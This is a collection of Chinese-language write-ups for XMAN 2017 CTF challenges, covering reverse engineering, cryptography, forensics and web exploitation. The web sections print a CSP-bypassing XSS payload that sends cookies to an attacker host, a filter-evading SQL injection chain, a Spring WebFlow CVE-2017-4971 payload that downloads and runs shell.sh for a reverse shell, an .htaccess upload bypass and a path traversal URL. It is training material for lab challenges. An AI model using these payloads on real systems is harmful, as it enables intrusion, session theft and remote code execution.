    int[] v0 = new int[]{40, 42, 65, 67, 68, 2, 64, 70, 96, 98, 181, 7, 10, 64, 23, 17, 37, 20, 45, 91, 74,
    byte[] v5 = new byte[]{52, 111, 102, 113, 52, 52, 98};
    int v2 = 0;
    int v4 = 0;
    int v7 = 0;
    int v1;
    for(v1 = 0; v1 < v0.length; ++v1) {
        int v8 = this.b(v0[v1]);
        new String();
        Log.d("now array:", String.valueOf(v8));
        switch(v8) {
            case 0: {
                this.A[v7] = ((byte)(this.A[v7] ^ v7));
                break;
            }
            case 1: {
                if(this.A[v4] != 0) {
                    ++v4;
                }
                else {
                }

                break;
            }
            case 2: {
                v5[v4] = ((byte)(v5[v4] ^ v4));
                ++v4;
                break;
            }
            case 3: {
                if(v5[v7] == this.A[v7]) {
                    ++v7;
                }
                else {
                }

                break;
```

```
                break;
            }
            case 4: {
                if(v7 == v4) {
                    v9 = true;
                }

                return v9;
            }
            case 5: {
                if(v4 != v5.length) {
                    v1 = v0.length - 3;
                }
                else {
                    v4 = 0;
                }

                break;
            }
            default: {
                ++v2;
                break;
            }
        }
    }
    return v9;
}
```

这个函数首先把v0传入到b函数里面，然后对其进行b运算，得到的答案放到switch里面进行case跳转。这里的对应关系有：

```
1 --> 计算字符串长度（某个变量+1，字符串本身+1）
2 --> 将指定字符存入B bytes中
3 --> 将我们的字符串传入一个数组中
6 --> 将数组和字符串本身异或
5 --> 比较字符串长度和我们指定的长度是否一致，如果不一致的话则调制推出
4 --> 检查字符串本身是否合理并且推出
其他 --> 直接返回循环
```

这个123456的计算方法我们看到b:

```
    public int b(int arg4) {
        int v0 = 181 & arg4;
        return (v0 & 1) + ((v0 & 4) >> 2) + ((v0 & 16) >> 4) + ((v0 & 32) >> 5) + ((v0 & 128) >> 7);
    }
```

也就是数字**10110101**与数组中的数字进行运算，对应位置位1的时候取出数字，相加后得到的数字即为下标。通过查看逻辑可以知道，关键是让v5与下标异或，从而得到对应的字符串。（也可以抠出来放到C语言下跑）

```
>>> ''.join([chr(c^i) for i,c in enumerate(t)])
'4ndr01d
```

最终得到flag:`XMAN{4ndr01d}`

【总结】

题目本身首先要梳理一下解题的思路，了解清楚case的对应位置，从而进行算法逆向处理。

XMAN 2017 rev2：

【原理】

exe的逆向处理

【目的】

通过使用IDA进行逻辑的反调试

【环境】

windows

【工具】

IDA，UPX

【步骤】

程序本身可以看出来是一个用了UPX压缩了的程序，所以我们直接上UPX脱壳。脱壳后打开程序，运行，就是一个输入匹配:

首先打开IDA，发现不能F5。因为是个exe，直接上IDA的调试器找到判断逻辑;找到关键字符串"Well Down",反响找到对应的判断逻辑;

这里可以看出来，这个地方的内容应该是将我们输入的字符串和一个值比较；

然后会让这个值继续和_test处字符串长度进行比较，也就是说，这个数据的逻辑其实上就是将我们输入的数据和一个固定长度的字符串进行了处理，如果能够满足要求就会输出Well down。继续往回走会看到，程序将我们输入的字符串和一个内置的字符串进行了异或处理:

取出字符串，然后和指定的一个数组进行了比较:

所以我们找到这个异或字符串和原先写死在程序里面的字符串进行异或，可以得到flag:

```
>>> flag_ = "h#\x1b}Ss|K)\x12\x08IB]\x08S[\x15UTc"
>>>
>>> xorArray = [16, 110, 47, 19, 40, 36, 79, 7, 106, 34, 101, 122, 29, 41, 56, 12, 35, 88, 97, 26, 30]
>>> for i,j in zip(flag_, xorArray):
    print(chr(ord(i)^j),end = '')

xM4n{W3LC0m3_t0_xM4N}
```

【总结】

题目本身首先要梳理一下解题的思路，了解清楚case的对应位置，从而进行算法逆向处理。

XMAN 2017 rev3：

【原理】

elf逆向处理

【目的】

学会识别花指令并绕过

【环境】

windows

【工具】

IDA

【步骤】

首先发现是个ELF64，可以使用IDA打开：
然后大致逻辑能够看到就是读入字符串并且比较。这里能够看到函数sub_400B23，这个函数接受我们传入的参数，我们点进去看，发现有点问题：
这个原因大致原因是sp不平衡，我们直接看汇编:
我们能够发现，这里有一个花指令，当然直接上gdb调试也是可以的。我们这里去掉花指令:
然后重新载入IDA，就能够看到大致的逻辑：
这里我们能够知道，主程序将我们的输入进行了按位异或，然后将得到的字符串进行base64_encode处理。
base64_encode函数如何判断？进入函数内部：
有两个特征

- byte_400DC0处的字符串有64个，分别对应base64编码后的字符串
- 每次读取数据的时候，按照三个三个的顺序来处理，并且在v = 2的时候特殊处理，就是base64的核心 -- 将三个字符串处理成4个

根据逻辑就能够写出反向处理的代码:

```
>>> import base64
>>> base64.standard_b64decode(b"WEw2TX82amFXOFlUXz1RSUVfbw==")
b'XL6M\x7f6jaW8YT_=QIE_o'
>>> t ='XL6M\x7f6jaW8YT_=QIE_o'
>>> for i in range(len(t)):
    print (chr(ord(t[i])^i),end = '')


XM4N{3lf_1S_S0_FUN}
```

得到答案

```
XM4N{3lf\_1S\_S0\_FUN}
```

【总结】

遇到花指令，可以通过去掉相应的内容，或者直接动态调试进行逻辑研究。

XMan 2017 Hello Smali

【原理】

读懂smali语法

【目的】

smali语法入门

【环境】

linux

【工具】

vim

【步骤】

你知道smali吗？分析Smali文件，可以得知这是一个修改过的Base64算法，Base64编码的字符串被修改过。通过编写算法或使用解码工具可以得出Flag。重新找一段Base64的算法源码，将字符串修改后，即可解密。Flag: `XMan{eM_5m4Li_i4_Ea5y}`

【总结】

无

XMan 2017 First Mobile

【原理】

APK逆向

【目的】

掌握Android APK文件结构，学会Java代码反编译与逆向。

【环境】

linux, Android

【工具】

Jeb, jadx-gui

【步骤】

WP:根据静态分析可以得知加密方法：

```
(x+i)/2=x+b-61
x+i=2*x+2*b-122
x=122+i-2*b
```

对此编写脚本可以完成flag的解出Flag: `XMAN{LOHILMNMLKHILKHI}`

Welcome2IRC

签到题，登录IRC之后得到flag: `XMAN{We1com3_222_X_M_A_N_2017}`

倾听世界的声音

访问index.php可以发现这道题可能存在XSS漏洞利用，得到CSP头

```
Content-Security-Policy:default-src 'self'; script-src 'self'
```

也就是说，仅能够访问在自身区域内的js脚本，所以不能够使用内联脚本和外部的脚本，如果要加以运用的话，我们必须要能够控制该域下文件的内容。通过在页面中加入meta标签，实现刷新跳转，我们可以得到网站后台访问留言的URL。`<meta http-equiv="refresh" content="0; url='http://IP:8000'">`将IP换成我们自己主机的IP地址，之后监听8000端口，在Referer字段中我们得到了URL`http://IP:8001/1want2rr34d.php?id=ebc1fd7b3cc56e098bb120ec635b4a0f`，打开这个链接我们可以发现原先输入的东西都出现了。那么在有了文本控制点，我们便可以想方设法地让程序执行这个地址的内容，从而得到结果。下面给出payload，将meta标签放在js的注释里，这样，当第一次被后台用浏览器访问的时候，仅有HTML标签被执行了；而第二次我们使用script标签的src属性引用的时候，meta标签由于出现在了注释里而被忽略，这样会执行下面的js脚本。

```
/* <meta http-equiv="refresh" content="0; url='http://IP:8000'"> */
var meta = document.createElement('meta');
meta.setAttribute('http-equiv','refresh');
meta.setAttribute('content',"0; url='http://IP:8001?cookie="+encodeURIComponent(document.cookie)+"'");
document.body.append(meta);
```

当拿到Referer字段的值后，将这个地址填入到下面的src中，再将这个payload提交。

```
<body><script src="http://IP:8001/1want2rr34d.php?id=XXXXX"></script></body>
```

最后得到cookie值，发现一个叫做FLAG的字段，base64解码后得到`XMAN{H4ve_you_PASSed_CSP?}`。这道题也可以使用link标签，做法是比较相似的。

CTF用户登录

这道题出题人背个锅，其实这个题出题意图是不需要使用一位一位判断的方法，在登录成功之后会跳转到index.php（其实如果细心的话也可以发现在访问这道题的时候由于没有登录，页面会从index.php跳转到login.php，但是没有逻辑能表名这一点，所以锅出题人背），页面中可以直接得到查询结果。但是在赛题部署的时候考虑到很多人喜欢用Repeater做题给出成功登录信息导致后面的跳转失效了，所以导致此题很多人都是采取了暴力穷举的办法，过程非常繁琐。这里给出这道题正常情况的做法。

题目过滤了逗号、空格、双引号、两种斜杠。逗号可以使用join绕过，空格换成%0a等，双引号用16进制转换。具体过程如下：（出现的所有空格应该替换，这里为了显示方便保持为空格）

```
' or 1=1 order by 4 #
```

判断列数

```
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d) #
```

判断会显示的列

```
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select schema_name from INFO
```

得到数据库名

```
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select table_name from INFOR
```

得到表名

```
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select column_name from INFO
```

得到列名

```
ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select gpass from ctf_users

ffff%27%0aunion%0aselect%0a*%0afrom%0a%28%28select%0a1%29a%0ajoin%0a%28select%0a2%29b%0ajoin%0a%28select%0a
```

输出具体的列

最后base64解码得到`XMAN{DO_you_l1ke_sqlmap_sqlmap}`

PHP弱类型

payload:

```
index.php?aaa=1w&bbb={"ccc":"2018w","ddd":[["XMAN"],0]}
```

XMAN{PHP_IS_THE_BEST_LANGUAGE}

Spring

【原理】

CVE-2017-4971

【目的】

了解Spring WebFlow漏洞利用

【环境】

linux

【工具】

浏览器、burpsuite

【步骤】

本题是CVE-2017-4971漏洞的利用模拟，具体漏洞细节可以参考赛宁技术博客Spring Web Flow 远程代码执行漏洞分析，这里给出解题细节。

1.点击页面中的超链接进入图书搜索页面，在页面中输入搜索内容进行搜索

2.搜索到图书点击View hotel按钮，然后点击Book hotel按钮，如果没有登录请先登录（登录名密码圈出来了，4种任意都可以登录）

!

3.进入借书页面，随意写入16位Credit Card id和Credit Card Name点击Process按钮

4.在点击Confirm按钮前我们需要进行burpsuite进行拦截抓包，截获数据包send to repeater，篡改数据包添加恶意payload：`&_(new+java.lang.ProcessBuilder("/usr/bin/wget","-P/tmp","http://192.168.159.128/shell.sh")).start()=feifei`，shell.sh放在可以访问的服务器中，执行请求包。

5.查看自己虚拟机的/tmp目录下有没有成功下shell.sh,可以看到shell.sh成功下载

6.至此已经复现了漏洞，可是我们既然想代码执行，那我们就可以进行反弹shell操作，继续执行命令，添加payload：`&_(new+java.lang.ProcessBuilder("/bin/chmod","777","/tmp/shell.sh")).star`
shell.sh修改权限

7.查看虚拟机中的/tmp目录下的shell.sh有没有变成可读可写可执行权限，可以看到shell.sh权限成功变成777

8.执行shell.sh文件同时监听2333端口，执行
payload:`&_(new+java.lang.ProcessBuilder("/bin/bash","/tmp/shell.sh")).start()=feif`

9.在监听的服务器中查看监听的2333端口有没有反弹shell，可以看到成功反弹shell，可以执行权限内任意命令。

总结

真实漏洞利用

unserialize

【原理】

反序列化

【目的】

了解反序列化对函数的调用情况

【环境】

linux

【工具】

chrome

【步骤】

php反序列化漏洞，由于对象里面有__toString()函数，而这个函数会返回某文件的内容，同时当一个实例化对象被echo的时候会调用这个函数，所以就会输出任意文件的内容。

第一步： 打开首页，将代码中的$filename变量的值改为flag.php

第二步： 序列化对象，`echo serialize(new FileClass());`得到字符串。

将字符串传递给code参数，查看源代码得到flag

flag: `XMAN{UUNser1AL1Z3_XMAN__0)(0}`

【总结】

反序列化对象并且对象被echo的时候会调用__toString()函数。

upload

【原理】

上传过滤不严格。

【目的】

了解上传的绕过技巧

【环境】

linux

【工具】

chrome

【步骤】

上传漏洞，因为后端正则限制了很多后缀，所以脚本文件上传不了，但是服务器是apache2并且支持.htaccess文件对文件解析进行重写，上传.htaccess后再上传jpg文件就可以将jpg文件解析成php脚本文件进行执行。

第一步： 打开首页，上传.htaccess文件，内容为:

SetHandler application/x-httpd-php

第二步： 上传shell.jpg,内容为php脚本，再访问shell.jpg。

flag: `XMAN{JuSt_Cod3_inj3cti0n}`

【总结】

文件上传

urldecode

【原理】

考察了urldecode

【目的】

服务器url参数编码解码

【环境】

linux

【工具】

chrome

【步骤】

考察了urldecode。根据源码可以对XMAN进行urlencode就可以了。

第一步： 打开首页`?me=%2558MAN`得到答案。

flag: `XMAN{UrlDeCode_CooL_yOu_u0D3rSta9D!}`

【总结】

urldecode

variacover

【原理】

变量覆盖、md5碰撞

【目的】

了解变量覆盖和md5碰撞

【环境】

linux

【工具】

chrome

【步骤】

考察了两个问题，一个是变量覆盖，一个是md5碰撞。根据源码可以将a变量重新赋值再进行md5碰撞。

第一步： 打开首页，`?b=a[0]=240610708`得到flag。

flag: `XMAN{A_sTr_covcderd_t3st_you_oW?}`

【总结】

变量覆盖、md5碰撞

穿越德国

【原理】

> ADFGVX密码

【目的】

> 学习ADFGVX密码的加密与解密

【环境】

linux

【工具】

vim

【步骤】

> 根据题设中的德国、一战，推测出为ADFGVX密码。观察到一串数字，28461 24 22 26 82 11 48 11 21 82 21 16 61 11 61 82 81 82 84 21 12。
>
> 其中28461为密钥，后面的数字为密文。
>
> 按照AADFGVX加密的原理（可参考wikihttps://zh.wikipedia.org/wiki/ADFGVX%E5%AF%86%E7%A2%BC）
>
> 将明文分为5组，编号分别为1、2、4、6、8。
>
> 将五组数字重新按照28461的顺序，以列的形式写出，得到明文。

```
2   8   4   6   1

1   8   8   1   2
1   2   2   1   4
4   8   2   6   2
8   4   1   1   2
1   2   1   8   2
1   1   6   2   6
2   1   6   8   8
1   2   1   1   2
```

> 按照两个一组数字，根据矩阵进行解密。
>
> 得到QHNLPKOXBIIQNDONZHNI

【总结】

> 在理解ADFGVX密码的基础上对其进行解密。

Caesar

【原理】

> 凯撒加密，javascript

【目的】

> 了解凯撒加密，以及javascript的特殊形式

【环境】

> python2

【工具】

> python,google chrome

【步骤】

> 题目中给出的类似颜文字的字符为一种javascript的转化，可以利用在线工具进行翻译，https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html，或者直接利用开发者工具，运行语句。
>
> 翻译之后得到UJ>Kxqefpfpklqbjlgfz
>
> 根据给出的加密函数，以及题目的提示：凯撒，字符串为偏移量为-3的凯撒加密。

```
m = "UJ>Kxqefpfpklqbjlgfz"

c = ""
for i in range(len(m)):
    c+=chr(ord(m[i])+3)

print (c)
```

> 移位后得到XMAN{this is not emoji}

【总结】

> 观察密文的形式，运行javascript，再观察字符串，利用题目给出的信息爆破解密凯撒加密。

Hill

【原理】

> 希尔密码

【目的】

> 根据密文和密钥对希尔密码进行解密

【环境】

> python2

【工具】

> python

【步骤】

> 题目给出了希尔加密的密文和矩阵。先根据密钥矩阵计算逆矩阵，将密文按照2个2个分组，与逆矩阵右乘得到明文。

```
# coding:UTF-8
key = [-7,2,4,-1]
m = "hrwdhrygcqwdbnklbk"

c= []
for x in range(len(m)):
    if(m[x]>='a'and x<='z'):
        print ord(m[x])-97
        c.append(ord(m[x])-97)
print c

temp = []

for i in range(0,len(c),2):
    temp.append(chr(((key[0] * c[i]+key[1] * c[i+1])%26)+97))
    temp.append(chr(((key[2] * c[i] + key[3] * c[i+1])%26)+97))

temp = ''.join(temp)
print temp[::-1]
```

得到llih llams siht rednu

题目中说“爬下山坡”，所以想到字符串经过反向处理。

得到flag。

【总结】

理解希尔密码的原理。

Masonic

【原理】

共济会密码

【目的】

简单置换密码

【环境】

windows

【工具】

【步骤】

附件中给出了一张图片，根据题目的提示，可以搜索到是共济会密码，按照密码表进行翻译。得到密文the answer is false

【总结】

简单置换密码破译

Meitantei Konan

【原理】

数字编码，base64编码

【目的】

学习数字编码的方式

【环境】

python2

【工具】

python

【步骤】

题目中给出了一篇文章。中间随机对字母R和N进行了大写，根据英文单次，R代表0，N代表1。

```
fd = open("murderer2.txt",'r')

ans = ''
for eachline in fd:
    for c in eachline:
        if c == 'R':
            ans += '0'
        elif c == 'N':
            ans += '1'

print(ans)
print(len(ans))

a = ''
for i in range(0, len(ans), 8):
    t = chr(int(ans[i:i+8], 2))
    a += t

print(a)
```

得到一串01表示的数字，题目中说按照8位二进制数字进行表示，因此编码得到WE1BTntaaG91fQ==。

是一串base64码，解码后得到flag。

【总结】

> 根据题设的信息，对文章中隐藏的信息进行处理。

FlagFlagFlag

拿到flag.zip，首先用010 editor修改加密位，01 00改为00 00，解开得到一个`fl4g.zip`和一个`plaintext.txt`。

`fl4g.zip`压缩包：

- 密码：`X-MAN_P4ssw0rd_$#!`
- 内容：
- `f1ag.txt`：`Flag is XMAN{4e63afb4eb082062c5e6bc903f80240f}`
- `plaintext.txt`：`The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has access to both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.`

已知明文攻击，建议用pkcrack做。

```
$ ./pkcrack -C fl4g.zip -c plaintext.txt -P plaintext.txt.zip -p plaintext.txt -d decrypt.zip
Files read. Starting stage 1 on Thu Jul 13 22:36:02 2017
Generating 1st generation of possible key2_240 values...done.
Found 4194304 possible key2-values.
Now were trying to reduce these...
Done. Left with 33020 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Thu Jul 13 22:36:08 2017
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Ta-daaaaa! key0=bf856492, key1=eaa87f6b, key2= 2571df2
Probabilistic test succeeded for 221 bytes.
Ta-daaaaa! key0=bf856492, key1=eaa87f6b, key2= 2571df2
Probabilistic test succeeded for 221 bytes.
Ta-daaaaa! key0=bf856492, key1=eaa87f6b, key2= 2571df2
Probabilistic test succeeded for 221 bytes.
Stage 2 completed. Starting zipdecrypt on Thu Jul 13 22:50:45 2017
Decrypting f1ag.txt (3ce5c5018b296574aeef4a79)... OK!
Decrypting plaintext.txt (54604901d144977858511100)... OK!
Finished on Thu Jul 13 22:50:45 2017
```

Green_QRCode

- Step 1

发现有大量dns包，查询字段存在异常

```
$ tshark -r misc-250.pcap -T fields -e dns.qry.name
```

- Step 2

进一步过滤无用数据，提取

```
tshark -r test.pcapng -T fields -e dns.qry.name -Y 'ip.dst == 8.8.8.8'|cut -d '.' -f 3|tr -d '\n' > raw
```

- Step 3

base64解码

```
base64 -d raw > fixraw
```

- Step 4

hexdump 发现

```
000084a0  6b 8e 8e 8e 6f 6f 6f 49  49 49 73 73 73 4a 4a 4a  |k...oooIIIsssJJJ|
000084b0  6d 6d 6d 4c 4c 4c 83 83  83 4b 4b 4b 9b 9b 9b 87  |mmmLLL...KKK....|
000084c0  87 87 9d 9d 9d 06 06 06  82 82 82 77 77 77 85 85  |...........www..|
000084d0  85 78 78 78 9c 9c 9c 84  84 84 86 86 86 fc fc fc  |.xxx............|
000084e0  81 81 81 79 79 79 80 80  80 05 05 05 7a 7a 7a 04  |...yyy......zzz.|
000084f0  04 04 7b 7b 7b fd fd fd  03 03 03 7c 7c 7c 7f 7f  |..{{{......|||..|
00008500  7f fe fe fe 02 02 02 00  dc f7 00 08 00 08 61 39  |..............a9|
00008510  38 46 49 47                                       |8FIG|
00008514
```

反转

```
raw = open('fixraw','rb').read()
f2 = open('gifile','wb')
for i in range(len(raw)):
    f2.write(raw[len(raw)-i-1])
f2.close()
```

- Step 5

gif还原为二维码

剥离出每一帧的图片

```
convert gifile test.png
```

每一帧图片重组为完整的大图

```
from PIL import Image

qr = Image.new('RGB',(200,200))

count = 0
for i in range(25):
    for j in range(25):
        pot = "test-{0}.png".format(j+i*25)
        potImage = Image.open(pot)
        qr.paste(potImage,(j * 8, i * 8))

qr.save('./xu.png')
```

得到一个缺失了部分像素点的二维码

很明显这个二维码是不可能用正常的工具解开的。所以我们需要手工重构和解码。

这个链接 QR Code Tutorial 是一个很详细的二维码解析的教程。列出了生成二维码的几步：

1. 确定编码模式
2. 对数据编码
3. 生成纠错码
4. 可能需要交错区块
5. 将数据和纠错码放进矩阵中
6. 采用缺失率最低的掩码图案
7. 添加格式和版本信息

逆着这些步骤就可以还原出二维码。

附两个解码过程中需要的脚本：

```
import sys
import reedsolo

reedsolo.init_tables(0x11d,2,8)

qr_bytes = ''.split()

b = bytearray()
erasures = []
for i, bits in enumerate(qr_bytes):
    if '?' in bits:
        erasures.append(i)
        b.append(0)
    else:
        b.append(int(bits, 2))

mes, ecc = reedsolo.rs_correct_msg(b, 22, erase_pos=erasures)
for c in mes:
    print '{:08b}'.format(c)
```

```
#!/usr/bin/ruby

data = ''
alphanumeric = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:'.chars

def read(str, size)
    str.slice!(0, size)
end

def kanji(num)
    if num >= 0x1740
        (0xC140 + num / 0xC0 * 0x100 + num % 0xC0)
            .chr(Encoding::Shift_JIS).encode(Encoding::UTF_8)
    else
        (0x8140 + num / 0xC0 * 0x100 + num % 0xC0)
            .chr(Encoding::Shift_JIS).encode(Encoding::UTF_8)
    end
end

loop do
    case mode = read(data, 4)
    when '0010' # Alphanumeric
        count = read(data, 9).to_i(2)
        (count / 2).times do
            chunk = read(data, 11).to_i(2)
            print alphanumeric[chunk / 45]+ alphanumeric[chunk % 45]end
        print alphanumeric[read(data, 11).to_i(2)] if count.odd?
    when '0100' # Byte
        count = read(data, 8).to_i(2)
        count.times do
            print read(data, 8).to_i(2).chr
        end
    when '1000' # Kanji
        count = read(data, 8).to_i(2)
        count.times do
            print kanji(read(data, 13).to_i(2))
        end
    when '0000' # Terminate
        break
    else
        fail "Unhandled mode #{mode}"
    end
end
```

XMAN-2017 选拔赛：Misc/Hello XMan!

考察基本工具使用及栅栏密码

1. 一堆16进制猜测为某文件，通过`010Editor`恢复为文件后 `file`命令识别为img文件

2.`FTK`打开后看到名为`Welcome` 的文件得到字符串

1. 栅栏爆破一下即可

```
e = 'X5M1A0N4{30a7b4b8e3ede2005daf76dac436}'
elen = len(e)
print "长度为 {0}".format(elen)
field=[]
for i in range(1,elen):
            if(elen%i==0):
                field.append(i)

for f in field:
    b = elen / f
    result = {x:'' for x in range(b)}
    for i in range(elen):
        a = i % b;
        result.update({a:result[a] + e[i]})
    d = ''
    for i in range(b):
        d = d + result[i]
    print '分为\t'+str(f)+'\t'+'栏时，解密结果为：   '+d
```

结果

```
长度为 38
分为  1   栏时，解密结果为：   X5M1A0N4{30a7b4b8e3ede2005daf76dac436}
分为  2   栏时，解密结果为：   Xe5dMe12A000N54d{a3f07a67dba4cb483e63}
分为  19  栏时，解密结果为：   XMAN{07483d20df6a4651043abbeee05a7dc3}
```

XMAN-2017 选拔赛：Misc/Magical Image

考察对图片文件格式的熟悉程度以及相关隐写工具的了解广度

- Step 1

binwalk 发现图像尾部还有zlib压缩数据

```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
24448         0x5F80          Zlib compressed data, default compression
```

观察文件

```
00005f30  51 45 14 51 45 7f ff d9  00 00 00 0d 49 48 44 52  |QE.QE.......IHDR|
00005f40  00 00 03 ca 00 00 00 88  04 03 00 00 00 cd 39 0f  |..............9.|
00005f50  fd 00 00 00 1b 50 4c 54  45 ff ff ff 00 00 00 df  |.....PLTE.......|
00005f60  df df 7f 7f 7f 9f 9f 9f  bf bf bf 1f 1f 1f 5f 5f  |..............__|
00005f70  5f 3f 3f 3f 09 5c 27 67  00 00 0e 51 49 44 41 54  |_???.\'g...QIDAT|
00005f80  78 9c ed 9a cb 5b db ba  12 c0 c7 b2 9d 64 e9 40  |x....[.......d.@|
```

发现IHDR字段，推测这里为一张png被截去了开头89 50 4e 47 0d 0a 1a 0a，同时被截去了结尾的00 00 00 00 49 45 4e 44 ae 42 60 82，补全后还原出原图

得到密码20170711

- Step 2

尝试常见JPG隐写用到的且带有密码的工具，最后stegohide成功解密

steghide解密得到flag

```
steghide extract -sf ctf.jpg -p 20170711
Enter passphrase:
Corrupt JPEG data: 40 extraneous bytes before marker 0xc0
wrote extracted data to "flag".
```

XMAN-2017 选拔赛：Misc/PDF_Hack

考察流量包分析及文件提取

- Step 1

binwalk一下发现里面有个PDF文件，分散在各个包中，tshark提取

```
tshark -r test.pcapng -T fields -e data|tr -d '\n'|grep -o "255044\w*4f460a" > raw
```

- Step 2

还原为pdf文件

```
xxd -p -r rawff pdf
```

- Step 3

打开要密码，pdfcrack爆破得到密码**20170716**

```
....
Average Speed: 20939.2 w/s. Current Word: '91597275'
Average Speed: 30064.5 w/s. Current Word: '80707875'
Average Speed: 31357.5 w/s. Current Word: '75970485'
Average Speed: 31800.3 w/s. Current Word: '36934195'
Average Speed: 29475.9 w/s. Current Word: '18433795'
Average Speed: 31414.8 w/s. Current Word: '87716305'
Average Speed: 25491.2 w/s. Current Word: '10517805'
Average Speed: 22277.5 w/s. Current Word: '25171316'
Average Speed: 21297.3 w/s. Current Word: '89024716'
found user-password: '20170716'
```

得到flag

PrettyCat

用exiftool

flag:XMAN{U5e_3x1ftoo1}

拆成两部分，XMAN{U5e和_3x1ftoo1}

base64 encode分别为`WE1BTntVNWU=`和`XzN4MWZ0b28xfQ==`

分别写入图片的copyright和comment。

```
$ exiftool -copyright="WE1BTntVNWU=" -comment="XzN4MWZ0b28xfQ==" cat.jpg
     1 image files updated
$ exiftool cat.jpg
ExifTool Version Number         : 10.50
File Name                       : cat.jpg
Directory                       : .
File Size                       : 4.7 kB
File Modification Date/Time     : 2017:07:15 00:26:07+08:00
File Access Date/Time           : 2017:07:15 00:28:29+08:00
File Inode Change Date/Time     : 2017:07:15 00:26:07+08:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : WE1BTntVNWU=
Comment                         : XzN4MWZ0b28xfQ==
Image Width                     : 144
Image Height                    : 144
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 144x144
Megapixels                      : 0.021
```

XMAN-2017 选拔赛：Misc/SimpleGIf

- Step 1

GIF 文件缺失文件头，补上`47 49 46 38 39 61`

- Step 2

观察每一帧间隔发现存在一定规律

```
$ identify -format "%s %T \n" 100.gif
0 66
1 66
2 20
3 10
4 20
5 10
6 10
7 20
8 20
9 20
10 20
11 10
12 20
13 20
14 10
15 10
...
```

- Step 3

提取每一帧间隔并进行转化，推断`20 & 10`分别代表`0 & 1`

```
$ cat flag|cut -d ' ' -f 2|tr -d '66'|tr -d '\n'|tr -d '0'|tr '2' '0'
01011000010011010100000101001110011111011001110010011011000110101001101110011010101100010011001010110010101
```

转ASCII码得到flag

XMAN-2017 选拔赛：Misc/Crazy Zip files

- Step 1

压缩包的连续爆破，尝试几次发现密码为**6位以内纯数字**，配合`fcrackzip`写一个sh脚本

```
#!/usr/bin/env bash

while [ -e *.zip ]; do
    files=*.zip;
    for file in $files;do
        echo -n "Crack ${file}........";
        output="$(fcrackzip -u -l 1-6 -c '1' *.zip |tr -d '\n')";
        password="${output/PASSWORD FOUND\!\!\!\!: pw == /}";
        if [ -z "${password}" ]; then
            echo "FAIL\!\!\!\!\!";
            break 2;
        fi;
    echo "FOUND PASSWORD : '${password}'";
    unzip -q -P "${password}" "$file";
    rm "${file}";
    done;
done;
```

- Step 2

得到的data文件直接strings即可得到flag

文件下载

【原理】

GET参数时间过滤不严格，导致任意文件下载。

【目的】

了解任意文件下载

【环境】

linux

【工具】

chrome

【步骤】

简单的目录遍历和任意文件下载，只要在登录之后找到download文件就可以下载任意文件，参数path没有做过滤，../../../../可以遍历目录。

第一步：打开首页，弱口令admin/admin

第二步：找到download.php文件，下载任意文件。

/components/filemanager/download.php?path=../../flag.txt

flag: XMAN{D0WnL0D_3v3RYTh1ng_You_Win}

【总结】

任意文件下载